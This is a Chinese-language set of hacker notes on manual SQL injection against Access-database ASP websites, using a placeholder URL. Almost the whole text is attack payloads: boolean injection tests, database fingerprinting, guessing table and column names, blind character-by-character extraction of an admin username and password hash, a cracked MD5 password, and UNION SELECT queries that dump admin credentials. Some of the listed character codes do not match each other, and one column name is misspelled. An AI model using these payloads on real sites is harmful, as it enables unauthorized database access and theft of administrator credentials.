access手工注入笔记

http://www.xxx.com/news.asp?id=6

注入点
判断是否存在注入 两次返回不一样 存在注入

http://www.xxx.com/news.asp?id=6
and 1=1
http://www.xxx.com/news.asp?id=6
and 1=2
判断数据库 这里可能是本地问题 没有测试出来

and (select count(*) from msysobjects)>0 （返回权限不足access数据库）

and (select count(*) from sysobjects)>0 （返回正常则为MSSQL数据库）

猜解表名（正常则存在admin,不正常则不存在）
and exists (select * from admin)
返回正确 存在admin 我们随便填写一个进去那么 返回错误 不存在这个表

现在我们来猜解字段

and exists (select username from admin)
and exists (select password from admin)
没有出错证明这两个字段都是存在 不存在的话同上 不存在字段

猜解用户名和密码长度
and (select top 1 len(username) from admin)>0

and (select top 1 len(password) from admin)>0
猜解用户名和密码内容：

and(select top 1 asc(mid(username,1,1))from admin)>97

and(select top 1 asc(mid(username,1,1))from admin)=97

and(select top 1 asc(mid(username,2,1))from admin)=100

and(select top 1 asc(mid(username,3,1))from admin)=109

and(select top 1 asc(mid(username,4,1))from admin)=105

and(select top 1 asc(mid(username,5,1))from admin)=110
97 100 109 105 110 admin
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and(select top 1 asc(mid(password,1,1))from admin)=52

and(select top 1 asc(mid(password,2,1))from admin)=54

and(select top 1 asc(mid(password,3,1))from admin)=57

and(select top 1 asc(mid(password,4,1))from admin)=56

and(select top 1 asc(mid(password,5,1))from admin)=48

and(select top 1 asc(mid(password,6,1))from admin)=100

and(select top 1 asc(mid(password,7,1))from admin)=51

and(select top 1 asc(mid(password,8,1))from admin)=50

and(select top 1 asc(mid(password,9,1))from admin)=99

and(select top 1 asc(mid(password,10,1))from admin)=48

and(select top 1 asc(mid(password,11,1))from admin)=53

and(select top 1 asc(mid(password,12,1))from admin)=53

and(select top 1 asc(mid(password,13,1))from admin)=57

and(select top 1 asc(mid(password,14,1))from admin)=102

and(select top 1 asc(mid(password,15,1))from admin)=56

and(select top 1 asc(mid(password,16,1))from admin)=32
52 54 57 101 56 48 100 51 50 99 48 53 53 57 102 56 32

469e80d32c0559f8 md5 解出来的密码是admin888

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（二）联合查询暴出管理帐号及密码
先用order by 爆出字段数，然后：
http://www.xxx.com/news.asp?id=6
and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 from admin
语法:1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 表示的是列长度。

from admin 查询对像admin表名
运行后会出现两到三个数字，如：4、12 则修改语句子（即在4、12中修改成列名，红色部份）：

http://www.xxx.com/news.asp?id=6
and 1=2 union select 1,2,3,usermane,5,6,7,8,9,10,11,password,13,14,15 from admin
这样，就可以爆出管理帐户和密码了。当然你也可以先爆帐户：
http://www.xxx.com/news.asp?id=6
and 1=2 union select 1,2,3,username,5,6,7,8,9,10,11,12,13,14,15 from admin
再爆密码：

http://www.xxx.com/news.asp?id=6
and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,password,15 from admin